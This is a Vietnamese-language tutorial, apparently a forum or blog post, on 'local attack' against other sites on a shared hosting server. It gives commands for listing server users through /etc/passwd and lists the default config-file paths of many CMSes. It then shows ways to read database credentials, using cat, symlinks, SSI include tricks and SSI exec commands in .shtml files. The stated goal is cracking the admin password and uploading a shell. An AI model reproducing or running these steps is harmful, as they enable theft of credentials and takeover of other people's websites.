[ Local Attack ] Hướng dẫn các bước Local Attack

------------------------Nhắc lại trình tự các bước Local Attack------------------------

1- View danh sách các user trong server
2- Tìm file config.php
3- Get thông tin login vào database
4- Crack hoặc change pass admin
5- Login vào quyên quản trị và upshell

1- View danh sách các user trên server

Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, source code là gì từ đó tìm cách đọc file config.php của user đó


- Một số câu lệnh để get user:

Lệnh phổ biến nhất:
Mã:
Cat /etc/passwd
Tuy nhiên một số server cấm lệnh cat, có thể sử dụng các lệnh sau một cách linh hoạt
Mã:
Less /etc/passwd
./cat/etc/passwd
More /etc/passwd
- Câu lênh get user & domain

PHP Code:
Cat /etc/virtual/domainowners    
2- Tìm file path file config.php

Đối với các mã nguồn mở thì path file config được mặc định như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

PHP Code:
Vbulletin: path/includes/config.php         
Mybb: path/inc/config.php          
Joomla: path/configuration.php           
Word-Press: path/wp-config.php         
Ibp: path/conf_global.php           
Php-fusion: path/config.php           
Smf: Path/Settings.php           
Nuke: path/config.php           
Xoops: path/mainfile.php                      
Datalife Engine: path/engine/data/config.php       
Phpbb: Path/config.php                  
editio: path/datas/config.php           
Drupal: path/sites/default/settings.php
                       
-   Discuz 
          path
/config/config_ucenter.php
                       
-  Bo-Blog
           path
/data/config.php 
- Đây là path mặc định đối với các mã nguồn mở, còn đối với site tự code thì thông thường path vẫn đặt hay ngay sau thư mục public_html ( path/config.php ).

- Đối với các quản trị viên chú ý đến tính năng bảo mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi vào. Soleil sẽ lấy ví dụ dò path file config đối với vbulletin chẳng hạn:

PHP Code:
Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php 
( Để tìm kiếm path trong source, search theo từ khóa: “cwd”, ta sẽ thấy đoạn code tương tự như: “require_once(CWD . '/includes/init.php');” - Đây là path mặc định dẫn tới file init.php))……

3- Get thông tin file config

Phần này chính là phần trọng tâm nhất trong bộ tut local attack. Trong phần này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.

3.1- Trước hết ta cần tìm hiểu qua về các câu lệnh cơ bản trong linux ứng dụng cho local attack:

- Ls , dir : Liệt kê tên các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục

PHP Code:
Ls -lia /public_html/upload/includes.config.php 
HTML Code:
-          Cat, ./cat, less, more, tail :  View nôi dung bên trong các file:
HTML Code:
Cat /public_html/upload/includes/config.php
- Ln : Lệnh symbolic link:

HTML Code:
Ln -s /public_html/upload/includes/config.php dk.ini
- Cd: Chuyển đổi thư mục
Ví dụ muốn chuyển tới thư mục soleil”
Cd /public_html/upload/includes/duccuongit
cd ~ : Tới thư mục home dictionary
cd -: Quay lại thư mục vừa làm việc
cd ..: Tới thư mục kề bên ngoài thư mục đang làm việc

- Chmod: Phân quyền cho các file hoặc thư mục:
Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )

- Mkdir: tạo thư mục:

Ví du muốn tạo thư mục duccuongit trong thư mục includes:
Mkdir /public_html/upload/includes/duccuongit
- Touch : Tạo file:
Mã:
touch /public_html/upload/includes/duccuongit.php
- Tar, zip: Lệnh nén và giải nén: thường sử dụng trong symlink root
Tar –zcvf duccuongit.tar.gz duccuongit ( Nén thư mục duccuongit thành file duccuongit.tar.gz)
Tar –zxvf duccuongit ( giải nén file duccuongit.tar.gz)

Zip –r -9 duccuongit.zip duccuongit ( Nén thư mục duccuongit thành file duccuongit.zip)
Zip -p duccuongit.zip ( Giải nén file duccuongit.tar.gz)

3.2- Phần tiếp theo mình sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file config.php

1- Sử dụng các lệnh cat, dir để xem tên thư mục, tệp tin và đọc nội dung tệp tin.

Ví dụ:
HTML Code:
dir /public_html/upload/includes
cat /public_html/upload/includes/config.php
Nhưng hiện nay phần lớn các server đều không cho phép thực thi những hàm này nên ứng dụng phương pháp này không mấy khả thi

2- Sử dụng Symbolic link – Gọi tắt là symlink

Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local attack.
Mã:
Ln -s /public_html/upload/includes/config.php duccuongit.ini
Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php của user duccuongit trên server có path /public_html/upload/includes/config.php
Có thể thay duccuongit.ini bằng .txt nhưng do thói quen mình vẫn hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass permissions 400.

3- Sử dụng symlink kết hợp với ssi:

Đối với 1 sô server khi symbolick link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với ssi.
- Tạo 1 file duccuongit.shtml với nội dung như sau:

<!--#include virtual="duccuongit.ini"-->

Trong đó file soleil.ini là file đã được symbolic link trên server.
Bây giờ view source của file duccuongit.shtml ta sẽ thấy đc nội dung file duccuongit.ini đã symbolic link.

4- Chạy lệnh bằng file .shtml
- Tuy nhiên có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy lệnh bằng file .shtml

<!--#exec cmd="cat /etc/passwd"-->

- Lệnh xem file logs như sau:

<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/duccuongit.com.error.log"-->

Lưu ý: + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.
+ /var/log/httpd/domains/duccuongit.com.error.log là path dẫn đến file error.log của direct admin
+ Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.

Không có nhận xét nào